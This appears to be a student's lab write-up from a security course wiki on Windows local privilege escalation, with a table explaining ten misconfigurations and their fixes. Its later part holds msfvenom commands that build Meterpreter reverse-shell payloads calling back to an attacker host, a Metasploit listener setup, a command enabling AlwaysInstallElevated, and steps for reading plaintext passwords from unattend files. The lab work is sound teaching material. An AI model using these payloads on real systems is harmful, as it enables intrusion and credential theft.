Week 2 Lab Notes - wetzel7/SEC-335 GitHub Wiki
- Download the WinPEAS PowerShell script from the official GitHub repository on target system - Able to do with copy paste to bypass chrome blocking download
- Open an non-elevated Powershell prompt which is your “champuser” account
- Change to the directory of the WinPeas Powershell script file. - cd, ls
- Verify the file hash before execution
- Set the PowerShell execution policy so it bypasses the Current User. Do not enable global “Unrestricted” policies. Using “Bypass” is a technique used by threat actors to run scripts quickly. - Set-ExecutionPolicy cmdlet
- Perform the step above before running the script below.
- Run WinPEAS and capture the output with a powershell pipe > output.txt
- Screenshot of WinPEAS banner and initial execution
- Screenshot of the color-coded output summary
- Output file saved as winpeas_output_[yourname].txt
- Document the command(s) used to run WinPEAS in your Tech Journal
- What hash algorithm does WinPEAS use for verification? What is the file hash?
- What does the RED/YELLOW/GREEN color coding indicate?
- How long did the full scan take? What factors affect scan duration?
- Download the winlocalpriv_escalation.zip file from Canvas. Password for the archive is: password
- Unzip the file and open an elevated PowerShell prompt, change to the directory of the unzipped file.
- Run:
.\Setup-Lab.ps1 -BenignServicePath “./benign-service/benign-service.exe” -ExploitPayloadPath "exploit-payload/exploit-payload.exe" -LabUser "champuser"
The MSI installer did not elevate in sessions to system privileges, this was due to a script error and can be fixed by running the below code in an elevated PowerShell prompt
reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 1 /f
The issue itself was AlwaysInstallElevated requires matching registry entries in both HKLM and HKCU. The setup script placed the HKCU configuration in a startup script that wouldn't apply to the current active session.
- Document the bypass method.
- Document the 10 vulnerabilities to explain how it elevates privileges. This should explain what specific weakness is being exploited.
- Provide links to resources that show how to exploit the vulnerabilities.
- Write a short summary on how to exploit each vulnerability.
- Write a short summary on how to fix each vulnerability.
| # | Vulnerability | How It Elevates Privileges (Specific Weakness) | Exploitation Resources | How to Exploit (Summary) | How to Fix (Summary) |
|---|---|---|---|---|---|
| 1 |
Unquoted Service Path MITRE T1574.009 |
Windows resolves an unquoted, space-containing service path by trying each space-delimited segment as a candidate executable, starting from the root. A low-privileged user who can write to one of those intermediate folders can plant a file that gets launched by the service's privileged context (often SYSTEM) instead of the intended binary. |
MITRE ATT&CK T1574.009 Hacking Articles walkthrough |
With an unquoted service path, attackers may execute their own malicious payloads by hijacking vulnerable file path references. This can be done by adversaries placing an executable in a higher level directory so windows will choose to execute the malicious executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program. | This can be fixed by always placing quotes around file paths that have spaces in them |
| 2 | AlwaysInstallElevated | The AlwaysInstallElevated registry policy tells the Windows Installer to run all .msi packages with SYSTEM privileges regardless of the invoking user's rights, removing the normal admin-approval requirement for software installation. |
HackTricks – AlwaysInstallElevated Hacking Articles walkthrough |
Normally windows requires admin privileges when installing software system wide, AlwaysInstallElevated setting tells windows installer to run every .msi file with system privileges. Exploiting is as simple as building a fake msi file with malicious code and running it with AlwaysInstallElevated enabled | Ensuring the setting is disabled is the fix for this making it so .msi files always ask for admin approval |
| 3 |
Weak Service Permissions MITRE T1543.003 |
Services can be configured (via ACLs on the service object) with weaker permissions than the account they run under. If a low-privileged user has rights to reconfigure or restart a service (e.g., via SERVICE_CHANGE_CONFIG), they can redirect the service's binary path while it still executes under its original, higher-privileged account (often SYSTEM). |
MITRE ATT&CK T1543.003 HackTricks – Windows Local Privilege Escalation |
Adversaries create or modify windows services to execute malicious payloads. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Exploiting is just telling a service to run one program instead of another and restarting it. | Only let Administrators change service settings |
| 4 |
Weak Registry Permissions MITRE T1112 |
Registry keys — especially those controlling service configuration, startup, or security settings — can be left with overly permissive ACLs. A user who can write to these keys can redirect what gets executed or alter security-relevant values without needing separate elevated access. |
MITRE ATT&CK T1112 MITRE T1574.011 – Services Registry Permissions Weakness |
Modifying the registry due to lax permissions is beneficial for attackers due to the possibilities of impairing defenses, allowing escalation without alerting users, modifying systems to store plaintext creds in memory, and much more. Exploiting can look like editing a registry entry to point at a malicious program instead of a safe one. | Lock down the specific registry entry so only Administrators can edit it |
| 5 |
DLL Hijacking MITRE T1574.001 |
Applications and services often load DLLs by name and search a defined order of directories. If a directory earlier in that search order is writable by a low-privileged user, they can drop a malicious DLL with the exact expected name so it loads instead of the legitimate library — inheriting the calling process's privileges. |
MITRE ATT&CK T1574.001 HackTricks – DLL Hijacking |
All programs use DLLs in some way. Not all are malicious, but can be created and used by adversaries to execute their own malicious payloads using methods such as side-loading, hijacking search order, and phantom DLL hijacking, etc. exploiting looks like dropping a fake dll with the exact name a program expects into the same path it would be expected at and the program will load the fake. | The fix is to have programs look for DLLs only in trusted system folders, not writable ones. |
| 6 | Missing Service Binary | A service is registered to point at a file path where no executable currently exists. Windows will still attempt to launch whatever is placed at that path when the service starts, so a low-privileged user with write access to the target directory can supply their own binary to be run under the service's privileged context. | HackTricks – Windows Local Privilege Escalation | A service is set up to run a program that doesn't actually exist yet at that location. Similar to unquoted paths, adversaries can place their own executable in that path to have their own executable launched. When exploiting, create a program in exact spot and same name and next time on run the service will run the bad program file. | Ensuring the real file exists and that the folder is locked down on who can write to it. |
| 7 |
Writable PATH Folder MITRE T1574.007 |
The PATH environment variable is searched sequentially when a program is invoked without a fully-qualified path. If a folder earlier in PATH is writable by a low-privileged user, they can place a malicious executable with the same name as a legitimate one there, so it executes first — potentially under a higher-privileged caller's context. |
MITRE ATT&CK T1574.007 | Bad actors may execute malicious payloads by hijacking environment variables used to load libraries. The PATH env variable contains a list of dirs that the OS searches sequentially in order to find the binary called from script or cmd line. By placing a malicious program earlier in the list of directories the sequential search will find and execute the malicious program, rather than the safe program further down the list. | Remove writable folders from that list, or make sure that trusted folders are checked. |
| 8 |
Startup Folder Permissions MITRE T1547.001 |
Programs referenced in Startup folders or Registry "Run" keys execute automatically at user logon. If a low-privileged user can write to a shared/global Startup folder or a Run key that fires for an administrator's session, they can achieve code execution in that higher-privileged context the next time that user logs in. |
MITRE ATT&CK T1547.001 HackTricks – Privilege Escalation with Autorun Binaries |
Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in | Locking down registry and startup folder to ensure only administrators can add files to it. |
| 9 |
Password File (unattend.xml) MITRE T1552.001 |
Unattended-installation files (e.g., unattend.xml, sysprep.inf) and similar configuration files can contain local/domain account credentials in plaintext or weakly-encoded (Base64) form. Any user able to read these files on disk can recover credentials for accounts with higher privileges. |
MITRE ATT&CK T1552.001 | Bad actors may search remote and local file systems for files containing insecurely stored credentials. In the event they can obtain these credentials, they have gained another account for persistence and elevation. | Lock down on passwords left in plaintext or easily cracked encoded formats. |
| 10 |
Vulnerable Scheduled Task MITRE T1053.005 |
Scheduled Tasks can be configured to run under a privileged account (e.g., SYSTEM) while the task's action (script/binary) or its containing folder is writable by a lower-privileged user, or the Task Scheduler permissions themselves are too permissive. This lets a standard user modify what executes when the task fires. |
MITRE ATT&CK T1053.005 Hacking Articles – Scheduled Task/Job Privilege Escalation |
In terms of windows task scheduler, bad actors can abuse the program in order to schedule initial or recurring execution of malicious code. They can be executed at startup, a certain time, triggered, all in order to maintain persistence | locking down permissions in order to restrict users that do not have admin rights using task scheduler |
Formatted with Claude
Creating the exe, svc, and msi rats:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe > payload_exe.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=5555 -f exe-service > payload_svc.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=6666 -f msi > payload_installer.msi
Transferring them to Windows Machine:
- Run
python3 -m http.server 8000 - Navigate on your windows box to the Kali IP on port 8000 to download your files
Setting up a listener on c2 Server (Kali)
msfconsole -q
use payload/windows/meterpreter/reverse_tcp
show options
set LHOST IP_OF_KALI
set LPORT PORT_OF_THE_RAT
exploit -j
You will need one instance per exploit port, for instance if I had one using port 4444 and another using port 5555, I would have two shells open, one for each port
Most exploits are quite simple after you have the malicious files on the machine, It's just a matter of placing them in the correct directory, maybe running some powershell, and triggering it.
Exploit 1: AlwaysInstallElevated
Trigger the msi installer:
Start-Process -FilePath "msiexec.exe" -ArgumentList "/quiet /qn /i C:\Users\champuser\downloads\payload_installer.msi" -NoNewWindow -Wait
Finding the XML file is almost the entire part of this exploit. Once you find it you can use the type command on the file path in order to print the content of the file to the shell and viola.
In this case, the XML was located at C:\Windows\Panther\Unattend\Unattended.XML. Once it's printed in the terminal we have the plaintext passwords, and can elevate our cmd prompt
Exploit 3: Missing Service Binary
Place missing.exe binary in C:\Program Files\Missing App\missing.exe
Start Service with net start MissingBinSvc
In order to see msf sessions and get into a shell, use:
use exploit/multi/handler
sessions -l
sessions -i (NUMBER HERE)
meterpreter > shell
What did you like the most about this assignment?
I really enjoyed the msfvenom portions of stuff and getting to make payloads and execute them on machines. I felt I learned quite a lot about how basic windows vulnerabilities worked as well with the winPEAS reflection in task 2.
What did you like the least about this assignment?
I think that a lot of it was hindered by some trouble I had in task 4 with the lack of permissions to start a service. Other than that I really enjoyed the assignment!